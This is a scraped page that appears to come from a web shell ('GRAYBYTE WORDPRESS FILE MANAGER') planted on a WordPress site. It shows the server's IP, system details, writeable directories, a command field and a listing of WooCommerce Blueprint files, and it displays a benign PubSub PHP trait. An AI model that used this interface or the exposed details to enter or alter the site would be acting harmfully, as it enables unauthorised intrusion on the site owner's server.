GRAYBYTE WORDPRESS FILE MANAGER5442

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/woocommerce/packages/blueprint/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/woocommerce/packages/blueprint/src//UsePubSub.php
<?php

namespace Automattic\WooCommerce\Blueprint;

trait UsePubSub {

	/**
	 * Subscribers.
	 *
	 * @var array
	 */
	private array $subscribers = array();

	/**
	 * Subscribe to an event with a callback.
	 *
	 * @param string   $event The event name.
	 * @param callable $callback The callback to execute when the event is published.
	 * @return void
	 */
	public function subscribe( string $event, callable $callback ): void {
		if ( ! isset( $this->subscribers[ $event ] ) ) {
			$this->subscribers[ $event ] = array();
		}

		$this->subscribers[ $event ][] = $callback;
	}

	/**
	 * Publish an event to all subscribers.
	 *
	 * @param string $event The event name.
	 * @param mixed  ...$args Arguments to pass to the callbacks.
	 * @return void
	 */
	public function publish( string $event, ...$args ): void {
		if ( ! isset( $this->subscribers[ $event ] ) ) {
			return;
		}

		foreach ( $this->subscribers[ $event ] as $callback ) {
			call_user_func( $callback, ...$args );
		}
	}

	/**
	 * Unsubscribe a specific callback from an event.
	 *
	 * @param string   $event The event name.
	 * @param callable $callback The callback to remove.
	 * @return void
	 */
	public function unsubscribe( string $event, callable $callback ): void {
		if ( ! isset( $this->subscribers[ $event ] ) ) {
			return;
		}

		$this->subscribers[ $event ] = array_filter(
			$this->subscribers[ $event ],
			fn( $subscriber ) => $subscriber !== $callback
		);

		if ( empty( $this->subscribers[ $event ] ) ) {
			unset( $this->subscribers[ $event ] );
		}
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Cli
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Exporters
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Importers
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
ResourceStorages
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
ResultFormatters
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Schemas
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Steps
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
docs
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
BuiltInExporters.php
0.463 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BuiltInStepProcessors.php
1.809 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ClassExtractor.php
6.055 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Cli.php
1.78 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ExportSchema.php
4.301 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ImportSchema.php
2.337 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ImportStep.php
4.465 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Logger.php
4.066 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ResourceStorages.php
1.452 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
StepProcessor.php
0.664 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
StepProcessorResult.php
3.563 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UsePluginHelpers.php
3.127 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UsePubSub.php
1.509 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UseWPFunctions.php
9.717 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Util.php
4.386 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF